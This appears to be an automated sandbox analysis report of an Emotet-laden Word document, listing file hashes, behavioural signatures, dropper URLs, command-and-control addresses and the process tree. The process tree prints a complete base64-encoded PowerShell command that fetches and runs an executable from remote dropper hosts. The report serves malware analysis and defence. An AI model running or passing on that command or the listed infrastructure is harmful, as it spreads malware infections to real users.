Analysis
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max time kernel
61s -
max time network
91s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
31-07-2020 11:25
General
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Target
Form - Jul 31, 2020.doc
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Size
169KB
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MD5
8864657efd01dce67c963db119a86048
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SHA1
a5365413843d4184386432313b328a2e530bdc5a
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SHA256
836e0e9799a0302b3e3c5d6a9339af1d93ba2518ee7801b021e5c30e5fd0b418
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SHA512
8aa7198880fb5de3344be76e930ac1c59a1d2904a76ac3b1450c277920645e0fb335152e66aef64224c64bc981a22b596a8838157b7c187fff05c417055c5734
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://mktf.mx/wp-includes/nf_p0w_z87k/
exe.dropper
http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/
exe.dropper
http://maxiquim.cl/cgi-bin/qa0_i_qzk/
exe.dropper
https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/
exe.dropper
http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/
Extracted
Family
emotet
C2
47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
rsa_pubkey.plain
Signatures
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Blacklisted process makes network request 1 IoCs
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Executes dropped EXE 2 IoCs
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Modifies registry class 280 IoCs
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Emotet
Emotet is a trojan that is primarily spread through spam emails.
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Suspicious use of SetWindowsHookEx 4 IoCs
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
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Emotet Payload 4 IoCs
Detects Emotet payload in memory.
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Drops file in System32 directory 2 IoCs
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Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Form - Jul 31, 2020.doc"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
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C:\Users\Admin\14.exeC:\Users\Admin\14.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
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C:\Windows\SysWOW64\stclient\auditpol.exe"C:\Windows\SysWOW64\stclient\auditpol.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\14.exe
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C:\Users\Admin\14.exe
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C:\Windows\SysWOW64\stclient\auditpol.exe
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memory/388-2-0x0000000008900000-0x0000000008904000-memory.dmpFilesize
16KB
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memory/388-5-0x000000000AD00000-0x000000000AD04000-memory.dmpFilesize
16KB
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memory/388-6-0x000000000BD80000-0x000000000BD84000-memory.dmpFilesize
16KB
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memory/1568-12-0x0000000000000000-mapping.dmp
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memory/1568-14-0x00000000002E0000-0x00000000002EC000-memory.dmpFilesize
48KB
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memory/1980-11-0x0000000000260000-0x000000000026C000-memory.dmpFilesize
48KB